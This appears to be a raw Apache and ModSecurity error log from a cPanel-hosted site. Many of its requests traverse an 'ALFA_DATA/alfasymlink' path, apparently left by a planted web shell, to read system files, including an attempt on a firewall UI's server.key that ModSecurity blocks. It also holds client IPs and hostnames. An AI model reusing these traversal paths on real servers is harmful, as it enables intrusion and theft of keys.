[Tue Oct 27 09:42:14.142305 2026] [core:error] [pid 3240170:tid 3240170] (13)Permission denied: [client 184.72.84.154:2082] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/usb1/remove
[Tue Oct 27 09:42:18.169189 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 52.54.15.103:39475] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:42:22.219988 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.195.50.71:16147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:42:30.152370 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 54.156.248.117:59660] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:42:34.168168 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 52.0.63.151:16872] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:42:50.133174 2026] [core:error] [pid 3240911:tid 3240911] (13)Permission denied: [client 50.16.216.166:57852] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory16/node0/cpu1/subsystem/drivers_probe
[Tue Oct 27 09:43:00.854503 2026] [security2:error] [pid 3242145:tid 3242145] [client 185.191.171.13:54212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/node_modules/tar-fs/LICENSE"] [unique_id "auCqZOmIaA8E8kGoVBzesQAAABA"]
[Tue Oct 27 09:43:00.854560 2026] [security2:error] [pid 3242145:tid 3242145] [client 185.191.171.13:54212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/node_modules/tar-fs/LICENSE"] [unique_id "auCqZOmIaA8E8kGoVBzesQAAABA"]
[Tue Oct 27 09:43:06.321037 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 3.94.199.128:6194] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:10.336037 2026] [ssl:error] [pid 3240704:tid 3240704] (70014)End of file found: [client 52.205.113.104:59123] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:30.630503 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 52.70.209.13:20914] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:39.764736 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 44.221.105.234:11752] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:46.281072 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 52.22.87.224:62307] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:50.363255 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 35.174.253.85:63300] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:54.289262 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 54.89.90.224:10595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:43:58.364827 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 3.231.193.38:25406] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:44:22.508948 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 35.169.119.108:8467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:44:34.360719 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 44.207.207.36:53596] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:44:38.413930 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 18.209.137.234:58742] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:02.546162 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 3.211.105.134:6769] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:07.058376 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 34.225.138.57:62930] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:10.556757 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 23.23.180.225:8963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:14.741763 2026] [ssl:error] [pid 3240704:tid 3240704] (70014)End of file found: [client 34.194.95.99:4268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:30.704621 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 98.83.178.66:27100] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:34.849675 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 52.203.68.145:56703] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:38.713352 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 23.22.59.87:57106] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:45:50.838502 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 98.84.70.201:27258] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:02.575940 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 44.196.118.6:22271] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:07.287793 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 3.89.176.255:33549] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:10.861299 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 52.0.105.244:27756] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:14.873588 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.197.28.78:39869] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:23.228667 2026] [core:error] [pid 3241912:tid 3241912] (13)Permission denied: [client 85.208.96.211:58752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_free_data/trace
[Tue Oct 27 09:46:34.646983 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 52.73.6.26:52595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:50.722979 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 184.73.68.20:45460] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:54.741375 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 52.70.138.176:57976] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:46:58.994859 2026] [ssl:error] [pid 3241912:tid 3241912] (95)Operation not supported: [client 44.195.50.71:61716] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:47:06.859394 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 54.157.99.244:41706] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:47:20.049581 2026] [core:error] [pid 3240898:tid 3240898] (13)Permission denied: [client 185.191.171.8:42394] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/slabs
[Tue Oct 27 09:47:22.961997 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.0.218.219:30502] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:47:26.981461 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 23.21.228.180:29579] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:47:43.064438 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 44.205.192.249:26593] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:03.809723 2026] [core:error] [pid 3240704:tid 3240704] (13)Permission denied: [client 85.208.96.208:37102] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/partial
[Tue Oct 27 09:48:03.810262 2026] [security2:error] [pid 3240704:tid 3240704] [client 85.208.96.208:37102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/partial"] [unique_id "auCrk5YAlP-bYGqEryjMUAAAAAI"]
[Tue Oct 27 09:48:03.810296 2026] [security2:error] [pid 3240704:tid 3240704] [client 85.208.96.208:37102] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/partial"] [unique_id "auCrk5YAlP-bYGqEryjMUAAAAAI"]
[Tue Oct 27 09:48:19.297463 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 3.94.157.25:34544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:23.248700 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 3.216.86.144:19614] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:27.395615 2026] [ssl:error] [pid 3242145:tid 3242145] (70014)End of file found: [client 98.83.226.125:54985] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:35.430797 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 34.225.24.180:24571] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:51.347245 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 52.203.152.231:52923] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:48:59.379689 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 3.230.69.161:61051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:49:11.573134 2026] [core:error] [pid 3237888:tid 3237888] (13)Permission denied: [client 3.213.106.226:26292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/driver/0000:00:05.0/firmware_node/eject
[Tue Oct 27 09:49:15.696450 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 23.23.99.55:49048] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:49:23.599289 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 184.73.239.35:20008] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:49:31.841617 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 52.203.65.83:61175] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:49:51.621988 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 54.84.250.51:15051] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:49:52.029393 2026] [core:error] [pid 3240170:tid 3240170] (13)Permission denied: [client 85.208.96.204:17378] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/drivers/ohci-pci/unbind
[Tue Oct 27 09:50:11.715003 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.4.76.156:63309] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:50:15.890612 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 98.82.66.172:64808] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/virtio2/driver/uevent
[Tue Oct 27 09:50:29.247831 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 85.208.96.209:32780] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sysconfig/iptables-config
[Tue Oct 27 09:50:31.788552 2026] [core:error] [pid 3243694:tid 3243694] (13)Permission denied: [client 23.22.105.143:39972] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu0/subsystem/uevent
[Tue Oct 27 09:50:32.911115 2026] [core:error] [pid 3241901:tid 3241901] (13)Permission denied: [client 185.191.171.14:56154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/trace_event_file/validate
[Tue Oct 27 09:50:35.494297 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 85.208.96.201:21024] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_dir_entry/remote_node_defrag_ratio
[Tue Oct 27 09:50:39.650128 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 34.224.9.144:26329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:50:55.802989 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 107.20.255.194:19635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:07.828180 2026] [core:error] [pid 3240902:tid 3240902] (13)Permission denied: [client 54.163.136.244:26964] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty16/subsystem/ttyS3/uartclk
[Tue Oct 27 09:51:12.008026 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 44.207.207.36:65507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:23.813259 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 98.80.130.239:5683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:26.033086 2026] [security2:error] [pid 3240704:tid 3240704] [client 85.208.96.209:65324] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/ui/server.key"] [unique_id "auCsXpYAlP-bYGqEryjMVwAAAAI"]
[Tue Oct 27 09:51:26.033491 2026] [security2:error] [pid 3240704:tid 3240704] [client 85.208.96.209:65324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/ui/server.key"] [unique_id "auCsXpYAlP-bYGqEryjMVwAAAAI"]
[Tue Oct 27 09:51:26.033889 2026] [security2:error] [pid 3240704:tid 3240704] [client 85.208.96.209:65324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/ui/server.key"] [unique_id "auCsXpYAlP-bYGqEryjMVwAAAAI"]
[Tue Oct 27 09:51:39.735881 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 54.197.82.195:41442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:47.718296 2026] [ssl:error] [pid 3237888:tid 3237888] (70014)End of file found: [client 85.208.96.205:28674] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:47.876799 2026] [ssl:error] [pid 3243694:tid 3243694] (70014)End of file found: [client 52.22.87.224:62185] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:48.017750 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 85.208.96.205:28688] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:56.014842 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 54.92.171.106:58805] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:51:59.899160 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 23.21.250.48:24242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:52:18.356887 2026] [security2:error] [pid 3241901:tid 3241901] [client 105.186.249.131:34592] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/ferreterias/1"] [unique_id "auCskosZRyXxqcXJPnweBwAAAAE"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 09:52:19.944049 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 44.209.89.189:4018] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:52:27.737464 2026] [ssl:error] [pid 3242593:tid 3242593] (5)Input/output error: [client 54.87.62.248:17958] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:52:31.743996 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.235.172.108:28907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:52:39.958643 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59664] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCsnItJJepdLpwoj9P_DAAAAAw"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:52:39.958783 2026] [security2:error] [pid 3240902:tid 3240902] [client 107.172.76.131:59664] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCsnItJJepdLpwoj9P_DAAAAAw"], referer: https://hoteles1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:52:47.747574 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 50.19.79.213:57439] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:52:51.798212 2026] [core:error] [pid 3242593:tid 3242593] (13)Permission denied: [client 54.84.169.196:42645] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0e/subsystem/devices/device:01/wakeup/wakeup1/device/subsystem/drivers/battery/uevent
[Tue Oct 27 09:52:56.144163 2026] [core:error] [pid 3241901:tid 3241901] (13)Permission denied: [client 52.2.83.227:18540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/subsystem/devices/device:12/subsystem/drivers/button/LNXPWRBN:00/driver/uevent
[Tue Oct 27 09:53:07.878845 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 54.210.155.69:52197] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:12.417333 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 44.223.115.10:6902] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:15.850365 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 44.207.252.58:1183] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:24.127291 2026] [core:error] [pid 3242593:tid 3242593] (13)Permission denied: [client 100.24.149.244:37319] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/memory10/subsystem/drivers_probe
[Tue Oct 27 09:53:27.736686 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 44.205.192.249:22804] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:32.167047 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 3.210.223.61:5520] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:37.482464 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 34.192.67.98:2238] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:39.913243 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 52.2.58.41:14931] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:53:43.932350 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 52.54.15.103:25490] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:00.196973 2026] [security2:error] [pid 3242593:tid 3242593] [client 52.54.15.103:17281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/tty9/"] [unique_id "auCs-Lp_JSxQ0e5dJTSt2gAAAAU"]
[Tue Oct 27 09:54:00.197027 2026] [security2:error] [pid 3242593:tid 3242593] [client 52.54.15.103:17281] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty21/subsystem/tty0/subsystem/tty9/"] [unique_id "auCs-Lp_JSxQ0e5dJTSt2gAAAAU"]
[Tue Oct 27 09:54:04.176421 2026] [core:error] [pid 3240341:tid 3240341] (13)Permission denied: [client 54.163.136.244:35883] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/device:01/PNP0303:00/physical_node/firmware_node/physical_node1/drvctl
[Tue Oct 27 09:54:07.885926 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 34.225.87.80:48117] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:19.914525 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 185.191.171.14:13116] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:23.706438 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 18.233.24.238:41447] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:24.324663 2026] [authz_core:error] [pid 3240898:tid 3240898] [client 159.89.83.113:49266] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 09:54:28.091856 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 54.225.148.123:9947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:36.076126 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 54.235.191.179:14363] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:43.812034 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 18.210.58.238:41760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:52.755093 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 54.235.191.179:59331] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:54:57.764743 2026] [security2:error] [pid 3243694:tid 3243694] [client 107.172.76.131:59669] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCtJWHsBjCWf-OodEyOLAAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:54:57.764809 2026] [security2:error] [pid 3243694:tid 3243694] [client 107.172.76.131:59669] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCtJWHsBjCWf-OodEyOLAAAAAs"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 09:55:00.038068 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 52.54.15.103:62683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:55:03.746860 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 3.81.253.213:5493] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:55:11.512226 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 85.208.96.194:35492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:55:11.782959 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 18.233.24.238:36640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:55:39.749361 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 3.212.219.113:12031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:55:47.787847 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 52.204.71.8:3984] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:03.688951 2026] [security2:error] [pid 3241901:tid 3241901] [client 3.222.190.107:61221] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory2/node0/memory7/subsystem/"] [unique_id "auCtc4sZRyXxqcXJPnweDQAAAAE"]
[Tue Oct 27 09:56:03.689010 2026] [security2:error] [pid 3241901:tid 3241901] [client 3.222.190.107:61221] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory2/node0/memory7/subsystem/"] [unique_id "auCtc4sZRyXxqcXJPnweDQAAAAE"]
[Tue Oct 27 09:56:07.930119 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 52.200.93.170:1380] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:19.846817 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 44.196.118.6:45338] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:24.121624 2026] [ssl:error] [pid 3240170:tid 3240170] (70014)End of file found: [client 52.3.156.186:52213] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:27.967698 2026] [security2:error] [pid 3238477:tid 3238477] [client 34.233.219.155:65052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/17/module/"] [unique_id "auCtixKut9jdf6Y85ZJciQAAABE"]
